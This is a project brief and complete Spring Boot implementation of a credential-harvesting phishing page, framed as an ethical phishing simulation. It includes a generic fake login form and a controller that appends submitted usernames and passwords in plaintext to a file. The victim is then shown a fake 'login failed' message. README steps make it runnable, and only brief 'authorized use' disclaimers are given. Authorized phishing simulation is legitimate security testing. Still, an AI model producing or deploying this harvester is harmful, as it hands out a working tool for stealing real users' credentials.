Main Responsibilities:

Build a simple Java web server using:

Spring Boot or basic Java HTTP server.

Create a fake login page (HTML/CSS).

Capture and log credentials when someone submits the fake form.

Save captured info securely (into a simple text file or database).

Deliverables:

Landing page + server.

Handling form submissions.

Document setup steps for the web server in the README.

1. Description

This tool is designed for ethical phishing campaign simulations. It sets up a simple Java web server using Spring Boot, presents a fake login page, captures submitted credentials, and logs them for analysis.   
  
Important: Use this tool only for authorized security assessments with explicit permission.

# 2. Project Setup

Use Spring Initializr (https://start.spring.io/) to create a new project with these dependencies:

* - Spring Web  
  - Thymeleaf

Unzip and open the project in your preferred IDE.

# 3. Project Structure

src/  
├── main/  
│ ├── java/  
│ │ └── com/  
│ │ └── example/  
│ │ └── phishingtool/  
│ │ ├── PhishingToolApplication.java  
│ │ ├── controller/  
│ │ │ └── LoginController.java  
│ ├── resources/  
│ │ ├── templates/  
│ │ │ └── login.html  
│ │ └── application.properties

# 4. Implementation

## 4.1 Main Application Class

package com.example.phishingtool;  
  
import org.springframework.boot.SpringApplication;  
import org.springframework.boot.autoconfigure.SpringBootApplication;  
  
@SpringBootApplication  
public class PhishingToolApplication {  
 public static void main(String[] args) {  
 SpringApplication.run(PhishingToolApplication.class, args);  
 }  
}

## 4.2 Login Controller

package com.example.phishingtool.controller;  
  
import org.springframework.stereotype.Controller;  
import org.springframework.web.bind.annotation.\*;  
import org.springframework.ui.Model;  
  
import java.io.FileWriter;  
import java.io.IOException;  
import java.time.LocalDateTime;  
  
@Controller  
public class LoginController {  
  
 @GetMapping("/")  
 public String showLoginForm() {  
 return "login";  
 }  
  
 @PostMapping("/submit")  
 public String handleLogin(@RequestParam String username,  
 @RequestParam String password,  
 Model model) {  
 try (FileWriter writer = new FileWriter("credentials.txt", true)) {  
 writer.write("Time: " + LocalDateTime.now() + "\n");  
 writer.write("Username: " + username + "\n");  
 writer.write("Password: " + password + "\n");  
 writer.write("---------------\n");  
 } catch (IOException e) {  
 e.printStackTrace();  
 }  
 model.addAttribute("message", "Login failed. Please try again.");  
 return "login";  
 }  
}

## 4.3 Fake Login Page

<!DOCTYPE html>  
<html xmlns:th="http://www.thymeleaf.org">  
<head>  
 <title>Login</title>  
 <style>  
 body { font-family: Arial, sans-serif; background-color: #f2f2f2; }  
 .login-container { width: 300px; margin: 100px auto; padding: 20px; background-color: #fff; border-radius: 5px; }  
 input[type=text], input[type=password] { width: 100%; padding: 10px; margin: 5px 0 10px 0; border: 1px solid #ccc; border-radius: 3px; }  
 input[type=submit] { width: 100%; padding: 10px; background-color: #4CAF50; border: none; color: white; border-radius: 3px; cursor: pointer; }  
 input[type=submit]:hover { background-color: #45a049; }  
 .error { color: red; }  
 </style>  
</head>  
<body>  
 <div class="login-container">  
 <h2>Login</h2>  
 <form th:action="@{/submit}" method="post">  
 <label for="username">Username:</label>  
 <input type="text" id="username" name="username" required>  
 <label for="password">Password:</label>  
 <input type="password" id="password" name="password" required>  
 <input type="submit" value="Login">  
 </form>  
 <p class="error" th:text="${message}"></p>  
 </div>  
</body>  
</html>

# 5. README.md Content

# Phishing Campaign Simulation Tool  
  
## Setup Instructions  
  
1. Clone the Repository:  
 git clone https://github.com/yourusername/phishing-tool.git  
  
2. Build the Project:  
 mvn clean install  
  
3. Run the Application:  
 mvn spring-boot:run  
  
4. Open Browser:  
 http://localhost:8080/  
  
## Captured Credentials  
Credentials are logged in 'credentials.txt' with a timestamp.  
  
## Ethical Use  
This tool is only for ethical and authorized testing.